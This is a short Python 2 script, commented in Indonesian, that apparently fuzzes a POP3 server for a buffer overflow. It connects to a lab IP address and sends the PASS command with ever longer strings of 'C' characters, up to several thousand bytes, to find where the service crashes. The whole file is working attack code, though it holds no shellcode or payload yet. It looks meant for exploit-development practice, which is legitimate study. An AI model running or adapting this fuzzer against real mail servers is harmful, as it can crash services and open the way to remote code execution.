#!/usr/bin/python

import socket

password_array=["C"] 	#Array untuk menyimpan karakter "C" sebagai password yang akan dikirim ke layanan POP3
array_counter=1		#Penghitung jumlah array saat iterasi untuk mengisi array dengan password
password_length=100	#Bilangan penambahan jumlah password yang dibuat

while array_counter<=40:	#iterasi sampai array mencapai 40 baris
	
	password_array.append("C"*password_length) # isi array dengan karakter "C" sbagai password dengan panjang sesuai bilangan
	
	password_length=password_length+200	#tambahkan bilangan jumlah password
	array_counter=array_counter+1		#tambahkan penghitung jumlah array

for password in password_array:	#iterasi isi array dan kemudian kirim isi tersebut sebagai password

	print "Mengirim password sebesar %s byte\n\n" % len(password)
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)	#definisikan koneksi TCP/IP soket

	print "\nBerkomunikasi dengan POP3.....\n"
	connect=s.connect(('172.16.192.130',110))	#Koneksi ke POP3 server
	data=s.recv(1024)				#pesan balasan dari server
	print data					#print ke layar supaya kita tau statusnya

	s.send('USER adinanta\r\n')			#kirim username adinanta (username apa aja bisa)
	data=s.recv(1024)				#pesat balasan server
	s.send('PASS '+password+'\r\n')			#kirim string password ke server
	s.send('QUIT\r\n')				#keluar dari komunikasi pop3
	s.close()					#putus tcp/ip connection
